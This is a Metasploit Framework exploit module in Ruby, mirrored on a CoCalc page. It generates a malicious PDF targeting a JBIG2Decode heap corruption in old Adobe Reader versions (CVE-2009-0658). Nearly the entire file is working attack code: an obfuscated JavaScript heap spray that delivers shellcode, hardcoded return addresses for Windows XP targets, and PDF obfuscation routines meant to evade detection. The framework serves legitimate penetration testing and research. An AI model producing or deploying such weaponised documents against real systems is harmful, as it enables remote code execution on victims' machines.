CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe JBIG2Decode Memory Corruption',
16
'Description' => %q{
17
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
18
This module relies upon javascript for the heap spray.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
# Metasploit implementation
24
'natron',
25
# bl4cksecurity blog explanation of vuln [see References]
26
'xort', 'redsand',
27
# obfuscation techniques and pdf template from util_printf
28
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
29
],
30
'References' =>
31
[
32
[ 'CVE' , '2009-0658' ],
33
[ 'OSVDB', '52073' ]
34
],
35
'DefaultOptions' =>
36
{
37
'EXITFUNC' => 'process',
38
'DisablePayloadHandler' => true
39
},
40
'Payload' =>
41
{
42
'Space' => 1024,
43
'BadChars' => ""
44
},
45
'Platform' => 'win',
46
'Targets' =>
47
[
48
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
49
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
50
],
51
'DisclosureDate' => '2009-02-19',
52
'DefaultTarget' => 0))
53
54
register_options([
55
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
56
])
57
58
end
59
60
def exploit
61
# Encode the shellcode.
62
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
63
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
64
65
nops = Rex::Text.to_unescape(make_nops(4))
66
67
# Randomize some variables
68
rand1 = rand_text_alpha(rand(50) + 1)
69
rand2 = rand_text_alpha(rand(50) + 1)
70
rand3 = rand_text_alpha(rand(50) + 1)
71
rand4 = rand_text_alpha(rand(50) + 1)
72
rand5 = rand_text_alpha(rand(50) + 1)
73
rand6 = rand_text_alpha(rand(50) + 1)
74
rand7 = rand_text_alpha(rand(50) + 1)
75
rand8 = rand_text_alpha(rand(50) + 1)
76
rand9 = rand_text_alpha(rand(50) + 1)
77
rand10 = rand_text_alpha(rand(50) + 1)
78
rand11 = rand_text_alpha(rand(50) + 1)
79
rand12 = rand_text_alpha(rand(50) + 1)
80
rand13 = rand_text_alpha(rand(50) + 1)
81
rand14 = rand_text_alpha(rand(50) + 1)
82
rand15 = rand_text_alpha(rand(50) + 1)
83
rand16 = rand_text_alpha(rand(50) + 1)
84
85
script = %Q|
86
var #{rand1} = "";
87
var #{rand2} = "";
88
var #{rand3} = unescape("#{shellcode}");
89
var #{rand4} = "";
90
91
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
92
#{rand6} = #{rand4} + #{rand3};
93
#{rand7} = unescape("#{nops}");
94
#{rand8} = 20;
95
#{rand9} = #{rand8}+#{rand6}.length
96
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
97
#{rand10} = #{rand7}.substring(0, #{rand9});
98
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
99
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
100
#{rand12} = new Array();
101
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
102
103
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
104
#{rand13} = #{rand2}.length + 20
105
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
106
#{rand14} = #{rand2}.substring(0, #{rand13});
107
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
108
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
109
#{rand16} = new Array();
110
for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
111
|
112
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
113
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
114
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
115
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
116
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
117
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
118
119
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
120
121
# Create the pdf
122
pdf = make_pdf(script, jbig2stream)
123
124
print_status("Creating '#{datastore['FILENAME']}' file...")
125
126
file_create(pdf)
127
end
128
129
def random_non_ascii_string(count)
130
result = ""
131
count.times do
132
result << (rand(128) + 128).chr
133
end
134
result
135
end
136
137
def io_def(id)
138
"%d 0 obj" % id
139
end
140
141
def io_ref(id)
142
"%d 0 R" % id
143
end
144
145
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
146
def n_obfu(str)
147
result = ""
148
str.scan(/./u) do |c|
149
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
150
result << "#%x" % c.unpack("C*")[0]
151
# Randomize the spaces and newlines
152
elsif c == " "
153
result << " " * (rand(3) + 1)
154
if rand(2) == 0
155
result << "\x0d\x0a"
156
result << " " * rand(2)
157
end
158
else
159
result << c
160
end
161
end
162
result
163
end
164
165
def ascii_hex_whitespace_encode(str)
166
result = ""
167
whitespace = ""
168
str.each_byte do |b|
169
result << whitespace << "%02x" % b
170
whitespace = " " * (rand(3) + 1)
171
end
172
result << ">"
173
end
174
175
def make_pdf(js, jbig2)
176
177
xref = []
178
eol = "\x0d\x0a"
179
endobj = "endobj" << eol
180
181
pdf = "%PDF-1.5" << eol
182
pdf << "%" << random_non_ascii_string(4) << eol
183
xref << pdf.length
184
pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj
185
xref << pdf.length
186
pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj
187
xref << pdf.length
188
pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj
189
xref << pdf.length
190
pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
191
xref << pdf.length
192
pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj
193
xref << pdf.length
194
195
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level
196
pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
197
pdf << "stream" << eol
198
pdf << compressed << eol
199
pdf << "endstream" << eol
200
pdf << endobj
201
xref << pdf.length
202
203
pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol
204
205
xref << pdf.length
206
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
207
pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
208
pdf << "stream" << eol
209
pdf << compressed << eol
210
pdf << "endstream" << eol
211
pdf << endobj
212
213
xrefPosition = pdf.length
214
pdf << "xref" << eol
215
pdf << "0 %d" % (xref.length + 1) << eol
216
pdf << "0000000000 65535 f" << eol
217
xref.each do |index|
218
pdf << "%010d 00000 n" % index << eol
219
end
220
pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol
221
pdf << "startxref" << eol
222
pdf << xrefPosition.to_s() << eol
223
pdf << "%%EOF" << eol
224
end
225
end
226
227